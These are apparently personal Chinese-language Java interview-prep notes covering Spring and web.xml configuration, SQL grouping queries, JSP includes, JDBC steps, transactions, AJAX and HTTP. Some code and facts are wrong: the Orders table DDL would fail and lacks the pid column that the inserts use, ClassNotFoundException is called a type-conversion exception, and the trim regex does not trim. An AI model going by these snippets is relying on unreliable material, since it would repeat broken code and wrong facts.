注:web.xml里面可以定義兩種參數: ?
application范圍內的參數,存放在servletcontext中。<context-param>中的參數(可以指定多個文件) ?
servlet范圍內的參數,只能在servlet的init()方法中取得, <init-param>中的參數,在init方法中用this.getInitParameter("param1")獲取 ?
??
要在spring配置多個xml,并且這些文件相互應用的加載方式: ?
1、在web.xml配置,應用服務去加載 ?
? ?<servlet> ?
? ? ?<servlet-name>app</servlet-name> ?
? ? ?<servlet-class> ?
? ? ? ? ? ? ? ?org.springframework.web.servlet.DispatcherServlet ?
? ? ?</servlet-class> ?
? ? ?<context-param> ?
? ? ? ? ? ?<param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/applicationContext*.xml,/WEB-INF/user_spring*.xml</param-value> ?
? ? ?</context-param> ?
? ? ?<load-on-startup>1</load-on-startup> ? ?
? </servlet> ?
2、在/WEB-INF/applicationContext.xml配置應用服務去加載 ?
? 可以在applicationContext.xml中用import引入其他的配置文件 ?
? ?<import resource="user_spring.xml" /> ?
??
問題8、查詢分組后,每個分組前幾條記錄? ?
??
建表語句: ?
/* ?創建表并初始化數據 ? */ ?
drop table if exists Orders; ?
create table Orders( ?
? ? id int primary key auto_increment, ?
? ? Company varchar(255), ?
? ? OrderNumber varchar(255), ?
); ?
插入數據: ?
insert into Orders(Company,OrderNumber, pid) values('IBM','3532',1); ?
insert into Orders(Company,OrderNumber, pid) values('IBM','4211',1); ?
insert into Orders(Company,OrderNumber, pid) values('IBM','2342',2); ?
insert into Orders(Company,OrderNumber, pid) values('IBM','12345',3); ?
insert into Orders(Company,OrderNumber, pid) values('W3School','45323',1); ?
insert into Orders(Company,OrderNumber, pid) values('W3School','2356',2); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','4538',1); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','4698',2); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','3234',2); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','3232',3); ?
insert into Orders(Company,OrderNumber, pid) values('W3School','6953',3); ?
insert into Orders(Company,OrderNumber) values('W3School','6953'); ?
??
查詢語句:/* 查詢Orders表,以Company分組,查出每組中的前兩個記錄 ? ?*/ ?
SELECT * FROM Orders o WHERE 2 >(SELECT count(*) FROM Orders WHERE Company = o.Company and OrderNumber > o.OrderNumber); ?
??
問題9、外部js中如何使用EL表達式? ?
??
外部js中的el表達式默認無效,有以下解決方案: ?
1、把數據保存在隱藏域中,然后由js去調 ?
例如jsp中<input type="hidden" id="data" name="data" value="${xxx.data}"> ?
js中,用getElementById方法 ?
2、如果js非要放入單獨文件中,可以把js文件命名為.jsp文件就可以了,這樣里面el就能運行,也就是服務器可以執行這個文件了。無非頁面引用的時候引用jsp就可以了。 ?
< script src="myjs.jsp" type="text/javascript></script> ?
??
EL表達式是在服務端執行的,服務端執行完成后再傳給客戶端的,js是在客戶端執行的,el在js前就被執行了。 ?
??
把引入的外部js改為jsp文件,然后在jsp頁面中引入<script src="myjs.jsp"></script> ?
??
在完全是js的jsp文件中,在執行的時候會出現亂碼 ?
在頂部加入 ?
< %@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>可解決亂碼 ?
??
然后在jsp頁面中引入myjs.jsp, ?
< script src="myjs.jsp" type="text/javascript"></script> ?
??
但是如果js文件有創建html,就會出現錯誤,比如document.createElement('<option>' );即使轉義后 ?
document.createElement('<option>' ); 也沒有效果 ,在解析的時候,會創建 ?
document.createElement('<html><option>' );使用時候不識別的標識符 ?
可以直接使用document.createElement('option') ?
??
火狐不支持select.options.appendChild(option),IE支持 ?
select.appendChild(option) IE和Firefox都支持 ?
??
火狐不支持option.innerText="test", ?
為兼容 改寫為option.innerHTML="test" ?
??
問題10、給你一張表查詢同一IP的登錄次數,以及登錄次數大于10次的IP? ?
給的參數是 id datetime url ?session_id ip ?
??
select 記錄, count(記錄) ?from 表 where 記錄=表.記錄 group by 記錄 having count(記錄)>10 ?
??
select count(ip),ip from table group by ip having count(ip)>10; ?
??
問題11、<jsp:include>和<%@include file=""%>有什么區別? ?
??
動態:<jsp:include page="">--動作,運行時包含,先處理后包含 ?
父頁面和包含進來的頁面單獨編譯,單獨翻譯成servlet后,在前臺拼成一個HTML頁面。 ?
a.能自動區分被包含文件是靜態還是動態; ?
b.如果被包含文件是靜態文件,處理方式跟第1種方式一樣, ?
? 如果是動態文件,則各自處理完之后把結果包含進來發給客戶端。 ?
??
靜態:<%@include file=""%>--指令,編譯時包含,先包含后處理 ?
父頁面和包含進來的頁面,代碼合并后,才一起翻譯成servlet,反饋到前臺,形成一個HTML頁面。 ?
a.不管被包含文件是靜態還是動態,直接將頁面中的全部內容包含進來; ?
b.執行時先將包含進來的內容一起處理完之后再將所有的內容發給客戶端。 ?
??
2013年8月22日:嘉瑤軟件 ?
??
問題1、使用JavaScript動態添加刪除表格行? ?
??
< script type="text/javascript"> ?
? ? //動態增加和刪除表格行的內容 ?
? ? document.getElementById("addID").onclick = function(){ ?
? ? ? ? ? ? var tbodyElement = document.getElementById("tbodyID"); ?
? ? ? ? ? ? //創建tr元素 ?
? ? ? ? ? ? var trElement = document.createElement("tr"); ?
? ? ? ? ? ? //創建td元素 ?
? ? ? ? ? ? var td1Element = document.createElement("td"); ?
? ? ? ? ? ? var td2Element = document.createElement("td"); ?
? ? ? ? ? ? var td3Element = document.createElement("td"); ?
//創建刪除按鈕 ?
? ? ? ? ? ? var delInputElement = document.createElement("input"); ?
? ? ? ? ? ? delInputElement.type = "button"; ?
? ? ? ? ? ? delInputElement.value = "刪除"; ?
??
? ? ? ? ? ? td3Element.appendChild(delInputElement); ?
? ? ? ? ? ? //為刪除按鈕添加單擊事件 ?
? ? ? ? ? ? delInputElement.onclick = function(){ ?
? ? ? ? ? ? ? ? //this表示刪除按鈕 ?
? ? ? ? ? ? ? ? //父.removeChild(子); ? ? ??
? ? //this.parentNode.parentNode.parentNode.removeChild(this.parentNode.parentNode); ?
? ? ? ? ? ? ? ? tbodyElement.removeChild(trElement); ?
? ? ? ? ? ? } ?
? ? ? ? ? ? //將td元素添加到tr元素中 ?
? ? ? ? ? ? trElement.appendChild(td1Element); ?
? ? ? ? ? ? trElement.appendChild(td2Element); ?
? ? ? ? ? ? trElement.appendChild(td3Element); ?
? ? ? ? ? ? //將tr元素添加到tbody元素中 ?
? ? ? ? ? ? tbodyElement.appendChild(trElement); ?
? ? ? ? } ?
? ? function trim(message){ //去空格,正則表達式 ?
? ? ? ? return message.replace(/^\s*$/,""); ?
? ? } ?
?</script> ?
??
問題2、什么叫面向接口編程?有什么好處? ?
??
在系統分析和架構中,分清層次和依賴關系,每個層次不是直接向其上層提供服務(即不是直接實例化在上層中),而是通過定義一組接口,僅向上層暴露其接口功能,上層對于下層僅僅是接口依賴,而不依賴具體類。 ?
??
這樣做的好處是顯而易見的,首先對系統靈活性大有好處。當下層需要改變時,只要接口及接口功能不變,則上層不用做任何修改。甚至可以在不改動上層代碼時將下層整個替換掉,就像我們將一個WD的60G硬盤換成一個希捷的160G的硬盤,計算機其他地方不用做任何改動,而是把原硬盤拔下來、新硬盤插上就行了,因為計算機其他部分不依賴具體硬盤,而只依賴一個IDE接口,只要硬盤實現了這個接口,就可以替換上去。從這里看,程序中的接口和現實中的接口極為相似,所以我一直認為,接口(interface)這個詞用的真是神似! ?
?
? ? 使用接口的另一個好處就是不同部件或層次的開發人員可以并行開工,就像造硬盤的不用等造CPU的,也不用等造顯示器的,只要接口一致,設計合理,完全可以并行進行開發,從而提高效率。 ?
??
問題3、事務的概念?開發中如何使用事務? ?
??
事務指邏輯上的一組操作,組成這組操作的各個單元,要么全部成功,要么全部失敗。 ?
??
MySQL數據庫開啟事務命令: ?
start transaction ?開啟事務 ?
rollback ?回滾事務 ?
commit ? 提交事務 ?
savepoint 設置回滾點 ?
rollback to savepoint 回滾到指定的回滾點 ?
??
問題4、遞歸算法題:一個整數,大于0,不用循環和本地變量,按照n,2n,4n,8n的順序遞增,當值大于10000時,把值按照指定順序輸出來。先順序后逆序 ?
??
public static void main(String[] args) throws Exception { ?
? ? ? ? doubleNum(512); ?
? ? } ?
??
public static void doubleNum(int n) { ?
? ? ? ? System.out.println(n); ?
? ? ? ? if (n <= 10000) ?
? ? ? ? ? ? doubleNum(n * 2); ?
? ? ? ? System.out.println(n); ?
} ?
??
問題5、兩個div 并排放到同一個div上面? ?
??
第一步: ?
中間兩個div 設置的寬度 加起來等于1000px, ?
第二步: ?
中間兩個div ?分別加樣式 ? style="float:left;" ?
??
例如: ?
< div style="width:1000px;height:500px;background: black;"> ?
< div style="background: blue;width: 500px;height:500px;float:left;"></div> ?
< div style="background: blue;width: 500px;height:500px;float:left;"></div> ?
??
問題6、一個表有birthday字段類型為date,讓你查出年齡? ?
??
SELECT name,(year(now())-year(birthday)) AS age FROM Student; ?
??
問題7、智力題:一個房間有三個燈泡,開關在房間外面,你只能進房間一次,找出燈泡和開關的對應關系 ?
??
先開第1個開關,開較長時間再關掉,然后開第2個開關,馬上進有燈泡的房間。 ?
如果是亮的,是第2個開關。 ?
如果是暗的,就摸一摸,熱的就是第1個開關,冷的就是第3個開關。 ?
??
2013年8月23日: ?
??
問題1、操作表格的奇數行、偶數行變色的函數? ?
??
? ? <script type="text/javascript" src="WEB-INF/jquery-1.7.min.js"> ?
? ? </script> ?
? ? ??
? ? <script type="text/javascript" language="javascript"> ? ?
? ? ? ? $(document).ready(function(){ ? ?
? ? ? ? ? ? $("table tr:eq(0)").attr("style","background: #C00;"); ?//首行 ?
? ? ? ? ? ? $("table tr:odd").attr("style","background:#09F;"); ? ? //奇數行 ??
? ? ? ? ? ? $("table tr:even").attr("style","background: #C00;"); ? //偶數行 ? ?
? ? ? ? ? ? //或者通過添加css,如下 ?
? ? ? ? ? ? $("table tr:eq(0)").css("background-color","pink"); ? ? //首行 ?
? ? ? ? ? ? $("table tr:odd").css("background-color","blue"); ? ? ? //索引號為奇數的 ?
? ? ? ? ? ? $("table tr:even").css("background-color","yellow"); ? ? ? ?//索引號為偶數的 ?
? ? ? ? ? ? }); ? ?
</script> ? ?
??
問題2、JSON與XML的區別? ?
??
相同之處兩個都是存放數據的。要說不同,那就是存數據的方式不一樣,xml數據寫在xml文件中,而json需要程序添加數據,xml是一個特殊的數據文件必須符合一定的規則 ?
??
格式不同,XML是標簽式的:aaa bbb,JSON是鍵值對形式的:book:{ name:aaa, writter:bbb },JSON更加輕量級,XML開始使用比較早,而且很嚴謹,兩者都有廣泛應用,不過現在比較推薦JSON。 ?
??
問題3、JDBC的使用過程? ?
??
簡易流程: ?
1、加載驅動 ?2、獲取連接 ?3、SQL語句 ?4、執行SQL ?5、釋放資源 ?
??
創建一個以JDBC連接數據庫的程序,包含7個步驟: ??
1、加載JDBC驅動程序: ??
在連接數據庫之前,首先要加載想要連接的數據庫的驅動到JVM(Java虛擬機),這通過java.lang.Class類的靜態方法forName(String ?className)實現。 ?
//加載MySql的驅動類 ? ? ?
Class.forName("com.mysql.jdbc.Driver"); ?
成功加載后,會將Driver類的實例注冊到DriverManager類中。 ? ?
2、提供JDBC連接的URL ??
例如:(MySql的連接URL) ? ? ?
jdbc:mysql://localhost:3306/test ?
3、創建數據庫的連接 ?
要連接數據庫,需要向java.sql.DriverManager請求并獲得Connection對象,該對象就代表一個數據庫的連接。 ?
使用DriverManager的getConnectin(String url, String username,String password )方法傳入指定的欲連接的數據庫的路徑、數據庫的用戶名和密碼來獲得。 ? ??
例如:// 連接MySql數據庫,用戶名和密碼都是root ?
? ? ? ? String url = "jdbc:mysql://localhost:3306/test"; ?
? ? ? ? String username = "root"; ?
? ? ? ? String password = "root"; ?
? ? ? ? Connection con = DriverManager.getConnection(url, username, password); ?
4、創建一個Statement ?
要執行SQL語句,必須獲得java.sql.Statement實例,Statement實例分為以下3種類型: ??
1、執行靜態SQL語句。通常通過Statement實例實現。 ??
2、執行動態SQL語句。通常通過PreparedStatement實例實現。 ??
3、執行數據庫存儲過程。通常通過CallableStatement實例實現。 ??
具體的實現方式: ??
Statement stmt = con.createStatement(); ?
? ? ? ? PreparedStatement pstmt = con.prepareStatement(sql); ?
? ? ? ? CallableStatement cstmt = con.prepareCall("{CALL demoSp(? , ?)}"); ?
5、執行SQL語句 ?
Statement接口提供了三種執行SQL語句的方法:executeQuery 、executeUpdate和execute ?
1、executeQuery(String sqlString):執行查詢數據庫的SQL語句,返回一個結果集(ResultSet)對象。 ? ??
2、executeUpdate(String sqlString):用于執行INSERT、UPDATE或DELETE語句以及SQL DDL語句,如:CREATE TABLE和DROP TABLE等,返回影響行數int。 ?
3、execute(sqlString):用于執行返回多個結果集、多個更新計數或二者組合的語句。 ?
具體實現的代碼: ?
? ? ? ? ?ResultSet rs = stmt.executeQuery("SELECT * FROM ...") ; ? ? ? ??
? ? ? ? ?int rows = stmt.executeUpdate("INSERT INTO ...") ; ? ? ? ??
? ? ? ? ?boolean flag = stmt.execute(String sql) ; ? ??
6、處理結果,兩種情況: ?
? ? 1、執行更新返回的是本次操作影響到的記錄數。 ?
? ? 2、執行查詢返回的結果是一個ResultSet對象。 ?
ResultSet包含符合SQL語句中條件的所有行,并且它通過一套get方法提供了對這些行中數據的訪問。 ? ?
使用結果集(ResultSet)對象的訪問方法獲取數據: ? ??
? ? while (rs.next()) { ?
? ? ? ? ? ? String name = rs.getString("name"); ?
? ? ? ? ? ? String pass = rs.getString(1); // 此方法比較高效 ?
? ? } ?
(列是從左到右編號的,并且從列1開始) ? ?
7、關閉JDBC對象 ?
操作完成以后要把所有使用的JDBC對象全都關閉,以釋放JDBC資源,關閉順序和聲明順序相反: ?
1、關閉記錄集 ? ? ?
2、關閉聲明 ? ? ?
3、關閉連接對象 ?
rs.close(); ?
? ? stmt.close(); ?
? ? conn.close(); ?
??
問題4、Tomcat的默認端口號是多少,如何更改端口號? ?
??
8080是Tomcat服務器的默認的端口號。 ?
我們可以通過修改Tomcat服務器的conf目錄下的主配置文件server.xml來更改。 ?
用記事本打開server.xml文件,找到如下部分:修改port的值即可 ?
< Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" /> ?
??
問題5、List與Set有什么區別? ?
??
Set List都繼承 Colltction。 ?
??
List接口與其實現類是容量可變的列表,可按索引訪問集合中的元素,是有序的集合。 ?
Set是一種不包含重復元素的Collection,也就是說 Set中只能有一個null元素。 ?
??
List和Set是兩個接口,其定義的數據類型都有自己的特點 ?
List是順序結構,可以是數組也可以是鏈表,Set就是集合,跟數學里的集合定義樣,無重復(沒有任何兩個對象的equals方法是true)。 ?
??
問題6、說出JAVA中一些常用的類,包,接口,請各舉5個? ?
??
類:Object、String、Integer、System、file、FileInputStream、FileOutputStream ?
包:lang包、io包、util包、sql包、date包、swt包 ?
接口: List、Map、Iterator、Connection、Writer、Reader、InputStream、OutPutStream ?
v ?
問題7、常見的異常有哪些,舉幾個,并說出它們是如何出現的呢? ?
??
NullPointException空指針異常 ?
IOException輸入輸出流異常 ?
ClassNotFoundException類型轉換異常 ?
ArrayIndexOutOfBoundsException下標越界異常 ?
NumberFormatException數字格式化異常 ?
FileNotFoundException文件未找到異常 ?
SQLException操作數據庫異常 ?
NoSuchMethodException方法未找到異常 ?
??
問題9、int和Integer有什么區別,Integer下有哪些常用方法? ?
??
int是Java提供的8種基礎數據類型之一。Java為每個原始類型提供了包裝類,Integer是java為int提供的包裝類。 ?
int的默認值為0,而Integer的默認值為null,即Integer可以區分出未賦值和值為0的區別,int則無法表達出未賦值的情況。 ?
例如,要想表達出沒有參加考試和考試成績為0的區別,則只能使用Integer。 ?
在JSP開發中,Integer的默認為null,所以用EL表達式在文本框中顯示時,值為空白字符串,而int默認的默認值為0,所以用EL表達式在文本框中顯示時,結果為0,所以,int不適合作為web層的表單數據的類型。 ?
在Hibernate中,如果將OID定義為Integer類型,那么Hibernate就可以根據其值是否為null而判斷一個對象是否是臨時的,如果將OID定義為了int類型,還需要在hbm映射文件中設置其unsaved-value屬性為0。 ?
另外,Integer提供了多個與整數相關的操作方法,例如,將一個字符串轉換成整數,Integer中還定義了表示整數的最大值和最小值的常量。 ?
??
問題10、Nutch與Lucene區別? ?
??
Nutch 是基于 Lucene的。Lucene為 Nutch 提供了文本索引和搜索的API。 ?
??
一個常見的問題是;我應該使用Lucene還是Nutch? ?
??
最簡單的回答是:如果你不需要抓取數據的話,應該使用Lucene。如果你有數據源,需要為這些數據提供一個搜索頁面。在這種情況下,最好的方式是直接從數據庫中取出數據并用Lucene API建立索引。 ?
Nutch 適用于你無法直接獲取數據庫中的網站,或者比較分散的數據源的情況下使用。 ?
??
Lucene其實是一個提供全文文本搜索的函數庫,它不是一個應用軟件。它提供很多API函數讓你可以運用到各種實際應用程序中。現在,它已經成為Apache的一個項目并被廣泛應用。 ?
??
Nutch是一個建立在Lucene核心之上的Web搜索的實現,它是一個真正的應用程序。也就是說,你可以直接下載下來拿過來用。它在Lucene的基礎上加了網絡爬蟲和一些和Web相關的東東。其目的就是想從一個簡單的站內索引和搜索推廣到全球網絡的搜索上。 ?
??
總的來說,我認為Lucene會應用在本地服務器的網站內部搜索,而Nutch則擴展到整個網絡、Internet的檢索。當然Lucene加上爬蟲程序等就會成為Nutch。 ?
??
問題11、面向對象的特征有哪些?解釋一下每一個? ?
??
封裝指的是將對象的狀態信息隱藏在對象內部,不允許外部程序直接訪問對象內部信息,而是通過該類所提供的方法來實現對內部信息的操作和訪問。 ?
封裝實際上有兩個方面的含義:把該隱藏的(對象的屬性和實現細節)隱藏起來,把該暴露的(方法)暴露出來。這兩個方面都需要通過使用Java提供的訪問控制符來實現。 ?
?
繼承是面向對象實現軟件復用的重要手段,當子類繼承父類后,子類作為一種特殊的父類,將直接獲得父類的屬性和方法。Java的繼承具有單繼承的特點,每個子類只有一個直接父類。 ?
?
多態指的是子類對象可以直接賦給父類變量,但運行時依然表現子類的行為特征,這意味著同一個類別的對象在運行時可能表現出不同的行為特征。 ?
只有子類重寫了父類的方法。使用父類類型創建的引用變量,所賦的值為子類類型創建的實例(對象)時,用這個新建的對象調用子類重寫父類的方法才會出現多態。 ?
也就是說多態有3個條件:1、繼承 2、重寫(子類重寫父類繼承的方法) 3、父類引用指向子類對象 ?
??
好處: ?
封裝:安全 ?
繼承:重用 ?
多態:靈活 ?
??
問題12、方法的重寫和重載? ?
??
重寫父類的方法 ?
方法的重寫要遵循“兩同兩小一大”規則: ?
??
“兩同”即方法名相同、形參列表相同,“兩小”指子類方法返回值類型應比父類方法返回值類型更小或相等,子類方法聲明拋出的異常應比父類方法聲明拋出的異常類更小或相等。 ?
“一大”指的是子類方法的訪問權限應比父類方法更大或相等,尤其需要指出的是,覆蓋方法和被覆蓋方法要么都是類方法,要么都是實例方法,不能一個是類方法,一個是實例方法。 ?
??
當子類覆蓋了父類的方法后,子類的對象將無法訪問父類中被覆蓋的方法,但可以在子類方法中調用父類中被覆蓋的方法。 ?
如果要在子類中調用父類中被覆蓋的實例方法,可以使用super。 ?
如果要在子類中調用父類中被覆蓋的類方法,使用父類類名來調用。 ?
如果父類方法具有private訪問權限,則該方法對其子類是隱藏的,因此其子類無法訪問該方法,也就無法重寫該方法。 ?
??
2、方法的重寫與方法的重載不同,方法的重載要遵循“兩同,一個不同”規則: ?
??
“兩同”即同一個類中、方法名相同,“一個不同”即形參列表不同。 ?
??
? ? ? ? Java允許同一個類里定義多個同名的方法,只要形參列表不同即可。 如果同一個類中包含了兩個或兩個以上的方法名相同,但參數列表不同,則被稱為方法重載。至于方法的其他部分,如方法返回值類型、修飾符等,與方法重載沒有任何關系。 ?
??
注意: ?
參數列表順序不同:(String x,int y)和(int x,String y)不會報錯 ?
參數列表類型相同變量名不同:(int x,int y)和(int y,int x)編譯器會報錯 ?
無法通過返回值類型不同來進行重載 ?
??
問題13、第1個人10,第2個比第1個人大2歲,依次遞推,請用遞歸方式計算出第8個人多大? ?
??
public static int calAge(int n) { ?
? ? ? ? if (1 == n) ?
? ? ? ? ? ? return 10; ?
? ? ? ? return calAge(n - 1) + 2; ?
? ? } ?
??
? ? public static void main(String[] args) { ?
? ? ? ? System.out.println("第八個屌絲的年齡是:" + calAge(8)); ?
? ? } ?
n=3的話, ?
第一次:3-1 ? ? ?10+2+2 ?
第二次:3-2 ? ? ?10+2 ?
第三次:返回10 ? 往上回去算 ?
??
??
問題14、一口井,深10米.一個蝸牛從井底往上爬. 白天爬3米,晚上掉2米.問幾天能爬出來? ?
??
第一天高度=3-2=1米 ?
第二天高度=1+3-2=2米 ?
第三天高度=2+3-2=3米 ?
第四天高度=3+3-2=4米 ?
第五天高度=4+3-2=5米 ?
以此類推... ?
第8天高度=7+3=10米,已經爬出來了。 ?
所以:8天爬出來。注意:這里是一口氣爬出來,如果爬不出來的話需要再加1天 ?
??
2013年8月24日: ?
??
問題1、String s="a"+"b"+"c" 創建了幾個對象? ?
??
就創建了1個 ??
String s = "a" + "b" + "c" + "d" + "e"; ??
賦值符號右邊的"a"、"b"、"c"、"d"、"e"都是常量 ??
對于常量,編譯時就直接存儲它們的字面值而不是它們的引用 ??
在編譯時就直接講它們連接的結果提取出來變成了"abcde" ??
該語句在class文件中就相當于String s = "abcde" ??
然后當JVM執行到這一句的時候, 就在String pool里找 ??
如果沒有這個字符串,就會產生一個 ?
??
問題2、Spring事務管理的7種傳播行為和4種隔離級別? ?
??
REQUIRED:業務方法需要在一個事務中運行。如果方法運行時,已經處在一個事務中,那么加入到該事務,否則為自己創建一個新的事務。 ??
??
NOT_SUPPORTED:聲明方法不需要事務。如果方法沒有關聯到一個事務,容器不會為它開啟事務。如果方法在一個事務中被調用,該事務會被掛起,在方法調用結束后,原先的事務便會恢復執行。 ??
??
REQUIRES_NEW:屬性表明不管是否存在事務,業務方法總會為自己發起一個新的事務。如果方法已經運行在一個事務中,則原有事務會被掛起,新的事務會被創建,直到方法執行結束,新事務才算結束,原先的事務才會恢復執行。 ??
??
MANDATORY:該屬性指定業務方法只能在一個已經存在的事務中執行,業務方法不能發起自己的事務。如果業務方法在沒有事務的環境下調用,容器就會拋出例外。 ??
??
SUPPORTS:這一事務屬性表明,如果業務方法在某個事務范圍內被調用,則方法成為該事務的一部分。如果業務方法在事務范圍外被調用,則方法在沒有事務的環境下執行。 ??
NEVER:指定業務方法絕對不能在事務范圍內執行。如果業務方法在某個事務中執行,容器會拋出例外,只有業務方法沒有關聯到任何事務,才能正常執行。 ??
??
NESTED:如果一個活動的事務存在,則運行在一個嵌套的事務中. 如果沒有活動事務, 則按REQUIRED屬性執行。它使用了一個單獨的事務,這個事務擁有多個可以回滾的保存點。內部事務的回滾不會對外部事務造成影響。它只對DataSourceTransactionManager事務管理器起效 ?
??
事務隔離級別: ?
??
數據庫系統提供了四種事務隔離級別供用戶選擇。不同的隔離級別采用不同的鎖類型來實現,在四種隔離級別中,Serializable的隔離級別最高,ReadUncommited的隔離級別最低。 ?
大多數據庫默認的隔離級別為ReadCommited,如SqlServer、Oracle,當然也有少部分數據庫默認的隔離級別為RepeatableRead,如Mysql。 ?
??
ReadUncommited:讀未提交數據(會出現臟讀,不可重復讀和幻讀) ?
ReadCommited:讀已提交數據(會出現不可重復讀和幻讀) ?
RepeatableRead:可重復讀(會出現幻讀) ?
Serializable:串行化 ?
??
臟讀:一個事務讀取到另一事務未提交的更新新據。 ?
不可重復讀:在同一事務中,多次讀取同一數據返回的結果有所不同。換句話說就是,后續讀取可以讀到另一事務已提交的更新數據。相反,“可重復讀”在同一事務中多次讀取數據時,能夠保證所讀數據一樣,也就是,后續讀取不能讀到另一事務已提交的更新數據。 ?
幻讀:一個事務讀取到另一事務已提交的insert數據。 ?
??
問題3、AJAX的原理? ?
??
AJAX的原理簡單來說通過XmlHttpRequest對象來向服務器發異步請求,從服務器獲得數據,然后用JavaScript來操作DOM而更新頁面。這其中最關鍵的一步就是從服務器獲得請求數據。要清楚這個過程和原理,我們必須對 XMLHttpRequest有所了解。 ?
XMLHttpRequest是AJAX的核心機制,它是在IE5中首先引入的,是一種支持異步請求的技術。簡單的說,也就是JavaScript可以及時向服務器提出請求和處理響應,而不阻塞用戶。達到無刷新的效果。 ?
所以我們先從XMLHttpRequest講起,來看看它的工作原理。首先,我們先來看看XMLHttpRequest這個對象的屬性。 ?
? 它的屬性有: ?
onReadyStateChange ? ?每次狀態改變所觸發事件的事件處理程序 ?
responseText ? ? ?從服務器進程返回數據的字符串形式 ?
responseXML ? ? ? ? ? 從服務器進程返回的DOM兼容的文檔數據對象 ?
status ? ? ? ? ? ? ?從服務器返回的數字代碼,比如常見的404(未找到)和200(已就緒) ?
status Text ? ? ? ? ? 伴隨狀態碼的字符串信息 ?
readyState ? ? ? ? ? ?對象狀態值 ?
??
0 (未初始化) ? ? ?對象已建立,但是尚未初始化(尚未調用open方法) ?
1 (初始化) ? ? ? ? ? 對象已建立,尚未調用send方法 ?
2 (發送數據) ? ? ?send方法已調用,但是當前的狀態及http頭未知 ?
3 (數據傳送中) ? ? 已接收部分數據,因為響應及http頭不全,這時通過responseBody和responseText獲取部分數據會出現錯誤 ?
4 (完成) ? ? ? ? ? ?數據接收完畢,此時可以通過通過responseXml和responseText獲取完整的回應數據 ?
??
函數首先檢查XMLHttpRequest的整體狀態并且保證它已經完成(readyStatus=4),即數據已經發送完畢。然后根據服務器的設定詢問請求狀態,如果一切已經就緒(status=200),那么就執行下面需要的操作。 ?
??
對于XmlHttpRequest的兩個方法,open和send,其中open方法指定了: ?
a、向服務器提交數據的類型,即post還是get。 ?
b、請求的url地址和傳遞的參數。 ?
c、傳輸方式,false為同步,true為異步。默認為true。如果是異步通信方式(true),客戶機就不等待服務器的響應;如果是同步方式(false),客戶機就要等到服務器返回消息后才去執行其他操作。我們需要根據實際需要來指定同步方式,在某些頁面中,可能會發出多個請求,甚至是有組織有計劃有隊形大規模的高強度的request,而后一個是會覆蓋前一個的,這個時候當然要指定同步方式。 ?
Send方法用來發送請求。 ?
??
? 知道了XMLHttpRequest的工作流程,我們可以看出,XMLHttpRequest是完全用來向服務器發出一個請求的,它的作用也局限于此,但它的作用是整個AJAX實現的關鍵,因為AJAX無非是兩個過程,發出請求和響應請求。并且它完全是一種客戶端的技術。而XMLHttpRequest正是處理了服務器端和客戶端通信的問題所以才會如此的重要。 ?
現在,我們對AJAX的原理大概可以有一個了解了。我們可以把服務器端看成一個數據接口,它返回的是一個純文本流,當然,這個文本流可以是XML格式,可以是Html,可以是JavaScript代碼,也可以只是一個字符串。這時候,XMLHttpRequest向服務器端請求這個頁面,服務器端將文本的結果寫入頁面,這和普通的web開發流程是一樣的,不同的是,客戶端在異步獲取這個結果后,不是直接顯示在頁面,而是先由JavaScript來處理,然后再顯示在頁面。 ?
??
問題4、字符串比較題? ?
??
String hello = "hello"; ?
? ? ? ? String hel = "hel"; ?
? ? ? ? String lo = "lo"; ?
? ? ? ? // 在"+"兩邊都是常量字符串,則將兩個字符串合并并且在String Pool中查找"hello" ?
? ? ? ? // 并返回在String Pool中的內存地址正好也是hello變量的內存地址,所以第一句代碼會輸出true。 ?
? ? ? ? System.out.println(hello == "hel" + "lo");// true ?
? ? ? ? System.out.println("hello" == "hel" + "lo");// true ?
? ? ? ? // 如果在"+"兩邊有一邊是引用類型變量,Java會將合并成一個字符串并且在堆棧中創建一個 ?
? ? ? ? // 新的對象并且返回內存地址,所以這句代碼是輸出false。 ?
? ? ? ? System.out.println(hello == hel + "lo"); // false ?
? ? ? ? System.out.println(hello == hel + lo); // false ?
??
??
問題5、說說什么是分布式和集群? ?
??
分布式強調同一個業務被分拆成不同的子業務,被部署在不同的服務器上(可能是性能的問題,也可能是安全的問題,也可能是模塊對服務器的需求不同的問題將業務進行分解),服務器可以跨域也可以同域。 ?
??
而集群偏重平行處理,一臺服務器不能提供足夠的能力,而采用多臺服務器并行處理一個問題。 ?
??
集群是指所有的設備共同完成相同的功能,每一個設備的功能都是完整的,但是在外界看來是一個設備。 ?
分布式是所有的設備集結后,共同組成一個體系,相互之間協同工作,同時又各自完成自己的相應的工作,但是所有的功能不是在一個設備上,而是由不同的設備完成,但是由一個設備作為統一的接入點和協調點。 ?
??
問題6、說說你對HTTP協議的了解? ?
??
HTTP協議主要有用于做客戶端瀏覽器和Web服務器之間的一個通訊規則(TCP/IP)。該協議主要規定的是傳輸HTML(超文本)的格式,其中包含了很多的消息頭信息,可以幫助底層的Socket進行識別具體的信息,那么對于開發者而言,如果掌握了HTTP協議的基本通信規則有利于后期的JavaEE開發。 ?
?
默認的瀏覽器是無法進行協議的通信內容查看的,因此我們瀏覽器上需要安裝一個額外的插件:HTTP Watch。 ?
?
?
HTTP協議有1.0和1.1版本: ?
HTTP1.0的協議主要用于對每一次請求建立新的連接。這樣會導致連接的次數過于頻繁,導致速度降低。 ?
HTTP1.1可以使得客戶端建立一定時間范圍內的持續連接。 ?
??
請求分析 ?
瀏覽器在發送請求的時候,會默認給請求進行封裝,給一個請求上面添加HTTP協議相關的頭信息。常見的信息如下: ?
GET /books/java.html HTTP/1.1 ? ? ? ? ? 請求行 ?
Accept: */* ? ? ? ? ? ? ? ? ? ? ? ? ? ?請求頭 ?
Accept-Language: en-us ?
Connection: Keep-Alive ?
Host: localhost ?
Referer: http://localhost/links.asp ?
User-Agent: Mozilla/4.0 ?
Accept-Encoding: gzip, deflate ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?空白行 ?
請求行: ?
GET ? ? ? /books/java.html ? ? ? HTTP/1.1 ? ?
請求方式 ? ?請求的資源 ? ? ?請求使用的協議和版本 ?
請求方式:HTML表單、GET和POST ?
GET請求方式最大的特點是會將參數綁定在URL地址欄的后面進行傳遞,因此傳遞的數據是有限的且是明文的。 ?
POST請求方式,該方式會將參數指定在請求體中進行傳遞。 ?
